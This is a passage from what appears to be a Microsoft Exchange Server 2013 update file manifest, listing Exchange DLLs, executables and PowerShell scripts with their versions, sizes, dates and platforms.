SP. \nFilf9b49c84aebc070c43e273a673e1cf99| Not applicable| 14,419| 11-Sep-20| 0:03| Not applicable| SP. \nFilf9e067ad79a7547e26462a712cbd2234| Not applicable| 166,529| 11-Sep-20| 0:08| Not applicable| SP. \nFilf9f6edd39dceaf9e49f9eb33efd6947e| Not applicable| 13,469| 11-Sep-20| 0:10| Not applicable| SP. \nFilfac323bdf8297e52cb9758bc0f107bdf| Not applicable| 272,915| 11-Sep-20| 0:09| Not applicable| SP. \nFilfc185af7dea156a27d3ffbbb82d11e73| Not applicable| 1,874| 11-Sep-20| 0:10| Not applicable| SP. \nFilfca646dd1df179d1706cdf713ccc1069| Not applicable| 11,309| 11-Sep-20| 0:10| Not applicable| SP. \nFilfd686744556fc950cd80295cb80aff43| Not applicable| 249,760| 11-Sep-20| 0:08| Not applicable| SP. \nFilfe0ef3ae7100cf23dd43d3efa4f0a0e9| Not applicable| 433,228| 11-Sep-20| 0:08| Not applicable| SP. \nFilfe13d9d3d88bb5b431d4a796b8541c66| Not applicable| 63,672| 11-Sep-20| 0:08| Not applicable| SP. \nFilfe1f533df46bf985ea2b2ab30e5d6a35| Not applicable| 161,408| 11-Sep-20| 0:08| Not applicable| SP. \nFilfefeffa72c0a131333c1a98e9bb695c0| Not applicable| 45,162| 11-Sep-20| 0:10| Not applicable| SP. \nFilff7006991aa221e3c40687aae0081106| Not applicable| 3,184| 11-Sep-20| 0:10| Not applicable| SP. \nFilteringconfigurationcommands.ps1| Not applicable| 18,279| 28-Oct-21| 19:31| Not applicable| SP. \nFms.exe| 15.0.1497.26| 1,341,872| 28-Oct-21| 19:31| x64| SP. \nForefrontactivedirectoryconnector.exe| 15.0.1497.26| 105,904| 28-Oct-21| 19:31| x64| SP. \nFscsqmuploader.exe| 15.0.1497.26| 458,160| 28-Oct-21| 19:31| x64| SP. \nGetucpool.ps1| Not applicable| 19,835| 28-Oct-21| 19:31| Not applicable| SP. \nGetvalidengines.ps1| Not applicable| 13,314| 28-Oct-21| 19:28| Not applicable| SP. \nGet_publicfoldermailboxsize.ps1| Not applicable| 15,086| 28-Oct-21| 19:31| Not applicable| SP. \nImportedgeconfig.ps1| Not applicable| 77,304| 28-Oct-21| 19:31| Not applicable| SP. \nImport_mailpublicfoldersformigration.ps1| Not applicable| 36,514| 28-Oct-21| 19:31| Not applicable| SP. \nImport_retentiontags.ps1| Not applicable| 28,894| 28-Oct-21| 19:31| Not applicable| SP. \nLpversioning.xml| Not applicable| 20,446| 28-Oct-21| 19:33| Not applicable| SP. \nMerge_publicfoldermailbox.ps1| Not applicable| 45,400| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.ceres.datalossprevention.dll.90160000_1164_0000_1000_1000000ff1ce| 16.0.1497.26| 873,952| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.dkm.proxy.dll| 15.0.1497.26| 32,720| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.addressbook.service.dll| 15.0.1497.26| 218,584| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.airsync.dll1| 15.0.1497.26| 1,676,264| 28-Oct-21| 19:33| Not applicable| SP. \nMicrosoft.exchange.airsynchandler.dll| 15.0.1497.26| 59,368| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.anchorservice.dll| 15.0.1497.26| 137,680| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.antispamupdatesvc.exe| 15.0.1497.26| 27,632| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.approval.applications.dll| 15.0.1497.26| 53,200| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.assistants.dll| 15.0.1497.26| 339,408| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.auditlogsearchservicelet.dll| 15.0.1497.26| 70,624| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.authadminservicelet.dll| 15.0.1497.26| 36,320| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.authservicehostservicelet.dll| 15.0.1497.26| 15,848| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.autodiscover.dll| 15.0.1497.26| 360,408| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.autodiscoverv2.dll| 15.0.1497.26| 31,696| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.batchservice.dll| 15.0.1497.26| 33,312| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.certificatedeploymentservicelet.dll| 15.0.1497.26| 26,592| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.certificatenotificationservicelet.dll| 15.0.1497.26| 23,520| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.clients.common.dll| 15.0.1497.26| 165,336| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.clients.owa.dll| 15.0.1497.26| 3,030,496| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.clients.owa2.server.dll| 15.0.1497.26| 2,269,656| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.clients.security.dll| 15.0.1497.26| 156,136| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.cluster.common.extensions.dll| 15.0.1497.26| 22,504| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.cluster.replay.dll| 15.0.1497.26| 2,704,360| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.cluster.replicaseeder.dll| 15.0.1497.26| 108,008| 28-Oct-21| 19:33| x64| SP. \nMicrosoft.exchange.cluster.replicavsswriter.dll| 15.0.1497.26| 287,720| 28-Oct-21| 19:33| x64| SP. \nMicrosoft.exchange.cluster.shared.dll| 15.0.1497.26| 465,384| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.common.diskmanagement.dll| 15.0.1497.26| 55,776| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.common.dll| 15.0.1497.26| 157,648| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.common.inference.dll| 15.0.1497.26| 39,376| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.commonmsg.dll| 15.0.1497.26| 27,568| 28-Oct-21| 19:31| x64| SP. \nMicrosoft.exchange.compliance.dll| 15.0.1497.26| 94,688| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.compliance.taskdistributioncommon.dll| 15.0.1497.26| 173,016| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.compliance.taskdistributionfabric.dll| 15.0.1497.26| 74,712| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.compliance.taskplugins.dll| 15.0.1497.26| 25,576| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.compression.dll| 15.0.1497.26| 17,872| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.configuration.certificateauth.dll| 15.0.1497.26| 37,816| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.core.dll| 15.0.1497.26| 111,048| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.delegatedauth.dll| 15.0.1497.26| 53,688| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.diagnosticsmodules.dll| 15.0.1497.26| 24,008| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.failfast.dll| 15.0.1497.26| 55,240| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.objectmodel.dll| 15.0.1497.26| 1,455,040| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.redirectionmodule.dll| 15.0.1497.26| 71,624| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.configuration.remotepowershellbackendcmdletproxymodule.dll| 15.0.1497.26| 21,432| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.connections.common.dll| 15.0.1497.26| 77,280| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.connections.eas.dll| 15.0.1497.26| 235,984| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.connections.imap.dll| 15.0.1497.26| 115,168| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.connections.pop.dll| 15.0.1497.26| 74,720| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.contentfilter.wrapper.exe| 15.0.1497.26| 185,768| 28-Oct-21| 19:28| x64| SP. \nMicrosoft.exchange.core.strings.dll| 15.0.1497.26| 599,504| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.data.applicationlogic.dll| 15.0.1497.26| 1,271,800| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.directory.dll| 15.0.1497.26| 6,639,088| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.dll| 15.0.1497.26| 1,536,480| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.groupmailboxaccesslayer.dll| 15.0.1497.26| 314,336| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.ha.dll| 15.0.1497.26| 82,424| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.imageanalysis.dll| 15.0.1497.26| 107,504| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.mapi.dll| 15.0.1497.26| 175,072| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.metering.contracts.dll| 15.0.1497.26| 31,216| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.metering.dll| 15.0.1497.26| 99,296| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.providers.dll| 15.0.1497.26| 141,280| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.storage.clientstrings.dll| 15.0.1497.26| 143,840| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.storage.dll| 15.0.1497.26| 8,165,872| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.data.throttlingservice.client.dll| 15.0.1497.26| 36,336| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.datacenterstrings.dll| 15.0.1497.26| 75,224| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.diagnostics.certificatelogger.dll| 15.0.1497.26| 23,072| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.diagnostics.dll| 15.0.1497.26| 1,539,040| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.diagnostics.performancelogger.dll| 15.0.1497.26| 24,080| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.diagnostics.service.common.dll| 15.0.1497.26| 322,072| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.diagnostics.service.exchangejobs.dll| 15.0.1497.26| 134,688| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.diagnostics.service.exe| 15.0.1497.26| 127,520| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.diagnosticsaggregationservicelet.dll| 15.0.1497.26| 50,656| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.directory.topologyservice.exe| 15.0.1497.26| 192,984| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.dxstore.dll| 15.0.1497.26| 279,520| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.dxstore.ha.instance.exe| 15.0.1497.26| 20,960| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.edgecredentialsvc.exe| 15.0.1497.26| 21,984| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.edgesync.common.dll| 15.0.1497.26| 153,560| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.edgesync.datacenterproviders.dll| 15.0.1497.26| 225,240| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.edgesyncsvc.exe| 15.0.1497.26| 98,256| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.ediscovery.export.dll| 15.0.1497.26| 1,126,376| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.ediscovery.export.dll.deploy| 15.0.1497.26| 1,126,376| 28-Oct-21| 19:35| Not applicable| SP. \nMicrosoft.exchange.ediscovery.exporttool.application| Not applicable| 16,522| 28-Oct-21| 20:42| Not applicable| SP. \nMicrosoft.exchange.ediscovery.exporttool.exe.deploy| 15.0.1497.26| 87,504| 28-Oct-21| 19:35| Not applicable| SP. \nMicrosoft.exchange.ediscovery.mailboxsearch.dll| 15.0.1497.26| 296,424| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.entities.birthdaycalendar.dll| 15.0.1497.26| 56,256| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.entities.calendaring.dll| 15.0.1497.26| 208,336| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.entities.common.dll| 15.0.1497.26| 155,072| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.entities.datamodel.dll| 15.0.1497.26| 137,168| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.entities.holidaycalendars.dll| 15.0.1497.26| 35,264| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.entities.people.dll| 15.0.1497.26| 37,304| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.eserepl.configuration.dll| 15.0.1497.26| 16,352| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.eserepl.dll| 15.0.1497.26| 120,296| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.exchangecertificateservicelet.dll| 15.0.1497.26| 37,352| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.extensibility.internal.dll| 15.0.1497.26| 560,088| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.extensibility.partner.dll| 15.0.1497.26| 15,824| 28-Oct-21| 19:35| x86| SP. \nMicrosoft.exchange.federateddirectory.dll| 15.0.1497.26| 76,776| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.frontendhttpproxy.dll| 15.0.1497.26| 572,400| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.hathirdpartyreplication.dll| 15.0.1497.26| 42,984| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.helpprovider.dll| 15.0.1497.26| 39,408| 28-Oct-21| 20:01| x86| SP. \nMicrosoft.exchange.httpproxy.addressfinder.dll| 15.0.1497.26| 31,192| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpproxy.common.dll| 15.0.1497.26| 95,728| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpproxy.diagnostics.dll| 15.0.1497.26| 35,312| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpproxy.proxyassistant.dll| 15.0.1497.26| 17,880| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpproxy.routerefresher.dll| 15.0.1497.26| 21,464| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpproxy.routeselector.dll| 15.0.1497.26| 35,288| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpproxy.routing.dll| 15.0.1497.26| 63,960| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httpredirectmodules.dll| 15.0.1497.26| 27,096| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.httputilities.dll| 15.0.1497.26| 20,968| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.hygiene.data.dll| 15.0.1497.26| 1,033,656| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.imap4.exe| 15.0.1497.26| 230,432| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.imap4.exe.fe| 15.0.1497.26| 230,432| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.exchange.imap4service.exe| 15.0.1497.26| 25,120| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.imap4service.exe.fe| 15.0.1497.26| 25,120| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.exchange.inference.common.dll| 15.0.1497.26| 71,656| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.inference.mdbcommon.dll| 15.0.1497.26| 75,760| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.inference.peoplerelevance.dll| 15.0.1497.26| 93,680| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.inference.pipeline.dll| 15.0.1497.26| 21,488| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.inference.ranking.dll| 15.0.1497.26| 19,440| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.infoworker.assistantsclientresources.dll| 15.0.1497.26| 35,328| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.infoworker.common.dll| 15.0.1497.26| 1,662,960| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.infoworker.meetingvalidator.dll| 15.0.1497.26| 164,352| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.isam.esebcli.dll| 15.0.1497.26| 100,280| 28-Oct-21| 19:33| x64| SP. \nMicrosoft.exchange.jobqueueservicelet.dll| 15.0.1497.26| 84,984| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.live.domainservices.dll| 15.0.1497.26| 122,352| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.loganalyzer.analyzers.oabdownloadlog.dll| 15.0.1497.26| 20,512| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.loganalyzer.extensions.oabdownloadlog.dll| 15.0.1497.26| 18,976| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.loguploader.dll| 15.0.1497.26| 159,696| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.loguploaderproxy.dll| 15.0.1497.26| 61,408| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.mailboxloadbalance.dll| 15.0.1497.26| 346,128| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxloadbalance.serverstrings.dll| 15.0.1497.26| 43,536| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxloadbalanceclient.dll| 15.0.1497.26| 24,608| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.common.dll| 15.0.1497.26| 1,525,280| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.dll| 15.0.1497.26| 639,520| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.easprovider.dll| 15.0.1497.26| 106,528| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.imapprovider.dll| 15.0.1497.26| 61,968| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.mapiprovider.dll| 15.0.1497.26| 91,664| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.popprovider.dll| 15.0.1497.26| 42,528| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.proxyclient.dll| 15.0.1497.26| 121,872| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.proxyservice.dll| 15.0.1497.26| 148,496| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.pstprovider.dll| 15.0.1497.26| 82,448| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.remoteprovider.dll| 15.0.1497.26| 72,744| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.storageprovider.dll| 15.0.1497.26| 120,336| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxreplicationservice.upgrade14to15.dll| 15.0.1497.26| 276,496| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mailboxtransport.storedrivercommon.dll| 15.0.1497.26| 140,272| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.mailboxtransport.storedriverdelivery.dll| 15.0.1497.26| 517,104| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.mailboxtransport.submission.storedriversubmission.dll| 15.0.1497.26| 191,976| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.compliancepolicy.dll| 15.0.1497.26| 42,976| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.controlpanel.dll| 15.0.1497.26| 6,405,544| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.controlpanel.owaoptionstrings.dll| 15.0.1497.26| 286,120| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.deployment.analysis.dll| 15.0.1497.26| 96,728| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.deployment.dll| 15.0.1497.26| 614,888| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.detailstemplates.dll| 15.0.1497.26| 70,056| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.dll| 15.0.1497.26| #########| 28-Oct-21| 19:32| x64| SP. \nMicrosoft.exchange.management.edge.systemmanager.dll| 15.0.1497.26| 60,840| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.mobility.dll| 15.0.1497.26| 306,656| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.powershell.support.dll| 15.0.1497.26| 229,344| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.psdirectinvoke.dll| 15.0.1497.26| 47,080| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.rbacdefinition.dll| 15.0.1497.26| 6,657,528| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.recipient.dll| 15.0.1497.26| 854,504| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.management.reportingwebservice.dll| 15.0.1497.26| 146,360| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.snapin.esm.dll| 15.0.1497.26| 73,144| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.systemmanager.dll| 15.0.1497.26| 1,274,280| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.management.transport.dll| 15.0.1497.26| 764,408| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.managementgui.dll| 15.0.1497.26| 5,352,360| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.mapihttpclient.dll| 15.0.1497.26| 115,168| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.mapihttphandler.dll| 15.0.1497.26| 192,488| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagesecurity.dll| 15.0.1497.26| 78,824| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.edgeagents.dll| 15.0.1497.26| 66,016| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.hygienerules.dll| 15.0.1497.26| 28,640| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.journalagent.dll| 15.0.1497.26| 173,024| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.redirectionagent.dll| 15.0.1497.26| 25,568| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.rmsvcagent.dll| 15.0.1497.26| 153,064| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.rules.dll| 15.0.1497.26| 309,728| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.transportruleagent.dll| 15.0.1497.26| 34,296| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.messagingpolicies.unjournalagent.dll| 15.0.1497.26| 98,784| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.migration.dll| 15.0.1497.26| 962,016| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.migrationmonitor.dll| 15.0.1497.26| 144,864| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.mobiledriver.dll| 15.0.1497.26| 139,224| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.monitoring.activemonitoring.local.components.dll| 15.0.1497.26| 3,922,928| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.monitoring.servicecontextprovider.dll| 15.0.1497.26| 20,496| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.net.dll| 15.0.1497.26| 4,035,024| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.notifications.broker.exe| 15.0.1497.26| 173,072| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.notifications.brokerapi.dll| 15.0.1497.26| 56,352| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.oabauthmodule.dll| 15.0.1497.26| 20,936| 28-Oct-21| 19:34| x86| SP. \nMicrosoft.exchange.oabrequesthandler.dll| 15.0.1497.26| 73,176| 28-Oct-21| 19:34| x86| SP. \nMicrosoft.exchange.photogarbagecollectionservicelet.dll| 15.0.1497.26| 15,328| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.pop3.exe| 15.0.1497.26| 92,688| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.pop3.exe.fe| 15.0.1497.26| 92,688| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.exchange.pop3service.exe| 15.0.1497.26| 25,120| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.pop3service.exe.fe| 15.0.1497.26| 25,120| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.exchange.popimap.core.dll| 15.0.1497.26| 209,944| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.popimap.core.dll.fe| 15.0.1497.26| 209,944| 28-Oct-21| 19:31| Not applicable| SP. \nMicrosoft.exchange.powersharp.management.dll| 15.0.1497.26| 4,177,912| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.powershell.configuration.dll| 15.0.1497.26| 261,560| 28-Oct-21| 19:31| x64| SP. \nMicrosoft.exchange.powershell.rbachostingtools.dll| 15.0.1497.26| 41,376| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.protectedservicehost.exe| 15.0.1497.26| 29,160| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.protocols.fasttransfer.dll| 15.0.1497.26| 134,144| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.protocols.mapi.dll| 15.0.1497.26| 406,528| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.provisioningagent.dll| 15.0.1497.26| 228,328| 28-Oct-21| 19:32| x64| SP. \nMicrosoft.exchange.provisioningservicelet.dll| 15.0.1497.26| 80,864| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.pushnotifications.dll| 15.0.1497.26| 105,416| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.pushnotifications.publishers.dll| 15.0.1497.26| 408,024| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.pushnotifications.server.dll| 15.0.1497.26| 72,648| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.rpc.dll| 15.0.1497.26| 1,511,904| 28-Oct-21| 19:32| x64| SP. \nMicrosoft.exchange.rpcclientaccess.dll| 15.0.1497.26| 150,496| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.rpcclientaccess.exmonhandler.dll| 15.0.1497.26| 62,440| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.rpcclientaccess.handler.dll| 15.0.1497.26| 483,808| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.rpcclientaccess.monitoring.dll| 15.0.1497.26| 149,464| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.rpcclientaccess.parser.dll| 15.0.1497.26| 733,648| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.rpcclientaccess.server.dll| 15.0.1497.26| 207,840| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.rpcclientaccess.service.exe| 15.0.1497.26| 31,688| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.rpchttpmodules.dll| 15.0.1497.26| 41,440| 28-Oct-21| 19:31| x86| SP. \nMicrosoft.exchange.rpcoverhttpautoconfig.dll| 15.0.1497.26| 51,168| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.rules.common.dll| 15.0.1497.26| 137,184| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.saclwatcherservicelet.dll| 15.0.1497.26| 20,448| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.search.core.dll| 15.0.1497.26| 290,248| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.search.engine.dll| 15.0.1497.26| 97,224| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.search.fast.dll| 15.0.1497.26| 329,176| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.search.mdb.dll| 15.0.1497.26| 175,048| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.search.query.dll| 15.0.1497.26| 95,176| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.search.service.exe| 15.0.1497.26| 29,128| 28-Oct-21| 19:33| x86| SP. \nMicrosoft.exchange.security.dll| 15.0.1497.26| 804,280| 28-Oct-21| 19:34| x86| SP. \nMicrosoft.exchange.security.msarpsservice.exe| 15.0.1497.26| 19,912| 28-Oct-21| 19:34| x86| SP. \nMicrosoft.exchange.server.storage.admininterface.dll| 15.0.1497.26| 216,064| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.common.dll| 15.0.1497.26| 413,160| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.diagnostics.dll| 15.0.1497.26| 190,960| 28-Oct-21| 19:32| x86| SP. \nMicrosoft.exchange.server.storage.directoryservices.dll| 